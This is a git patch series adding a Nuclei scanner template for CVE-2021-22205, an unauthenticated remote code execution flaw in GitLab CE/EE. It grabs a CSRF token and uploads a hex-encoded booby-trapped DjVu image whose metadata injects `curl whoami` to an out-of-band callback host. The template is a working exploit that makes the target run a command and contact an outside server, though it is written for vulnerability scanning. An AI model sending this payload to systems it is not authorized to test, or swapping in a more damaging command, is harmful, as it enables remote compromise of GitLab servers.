From 6490a968b37c03014d804bb4b6423a06b0f59967 Mon Sep 17 00:00:00 2001
From: sandeep <sandeep@projectdiscovery.io>
Date: Wed, 27 Oct 2021 18:01:04 +0530
Subject: [PATCH 1/2] Added GitLab CE/EE Unauthenticated RCE using ExifTool
 (CVE-2021-22205)

---
 cves/2021/CVE-2021-22205.yaml | 62 +++++++++++++++++++++++++++++++++++
 1 file changed, 62 insertions(+)
 create mode 100644 cves/2021/CVE-2021-22205.yaml

diff --git a/cves/2021/CVE-2021-22205.yaml b/cves/2021/CVE-2021-22205.yaml
new file mode 100644
index 0000000000..d70718eb42
--- /dev/null
+++ b/cves/2021/CVE-2021-22205.yaml
@@ -0,0 +1,62 @@
+id: CVE-2021-22205
+
+info:
+  name: GitLab CE/EE Unauthenticated RCE using ExifTool
+  author: pdteam
+  severity: critical
+  description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
+  reference:
+    - https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
+    - https://hackerone.com/reports/1154542
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-22205
+  tags: cve,cve2021,gitlab,rce,oast
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 9.90
+    cve-id: CVE-2021-22205
+    cwe-id: CWE-20
+
+requests:
+  - raw:
+      - |
+        GET /users/sign_in HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+
+      - |
+        POST /uploads/user HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
+        X-CSRF-Token: {{csrf-token}}
+
+        {{hex_decode('0D0A2D2D2D2D2D2D5765624B6974466F726D426F756E64617279494D76336D7852673539546B465358350D0A436F6E74656E742D446973706F736974696F6E3A20666F726D2D646174613B206E616D653D2266696C65223B2066696C656E616D653D22746573742E6A7067220D0A436F6E74656E742D547970653A20696D6167652F6A7065670D0A0D0A41542654464F524D000003AF444A564D4449524D0000002E81000200000046000000ACFFFFDEBF992021C8914EEB0C071FD2DA88E86BE6440F2C7102EE49D36E95BDA2C3223F464F524D0000005E444A5655494E464F0000000A00080008180064001600494E434C0000000F7368617265645F616E6E6F2E696666004247343400000011004A0102000800088AE6E1B137D97F2A89004247343400000004010FF99F4247343400000002020A464F524D00000307444A5649414E546100000150286D657461646174610A0928436F7079726967687420225C0A22202E2071787B')}}curl `whoami`.{{interactsh-url}}{{hex_decode('7D202E205C0A2220622022292029202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200A0D0A2D2D2D2D2D2D5765624B6974466F726D426F756E64617279494D76336D7852673539546B465358352D2D0D0A')}}
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Failed to process image'
+
+      - type: word
+        part: interactsh_protocol  # Confirms the DNS Interaction
+        words:
+          - "dns"
+
+      - type: status
+        status:
+          - 422
+
+    extractors:
+      - type: regex
+        name: csrf-token
+        internal: true
+        group: 1
+        regex:
+          - 'csrf-token" content="(.*?)" />\n\n<meta'
+
+      - type: regex
+        part: interactsh_request
+        group: 1
+        regex:
+          - '([a-z0-9]+)\.([a-z0-9]+)\.interactsh\.com'
\ No newline at end of file

From 2d19236680fcf292c43734d6d524464396d294ae Mon Sep 17 00:00:00 2001
From: sandeep <sandeep@projectdiscovery.io>
Date: Wed, 27 Oct 2021 18:21:06 +0530
Subject: [PATCH 2/2] misc update

---
 cves/2021/CVE-2021-22205.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/cves/2021/CVE-2021-22205.yaml b/cves/2021/CVE-2021-22205.yaml
index d70718eb42..ba3b336ab1 100644
--- a/cves/2021/CVE-2021-22205.yaml
+++ b/cves/2021/CVE-2021-22205.yaml
@@ -56,6 +56,7 @@ requests:
           - 'csrf-token" content="(.*?)" />\n\n<meta'
 
       - type: regex
+        name: whoami
         part: interactsh_request
         group: 1
         regex: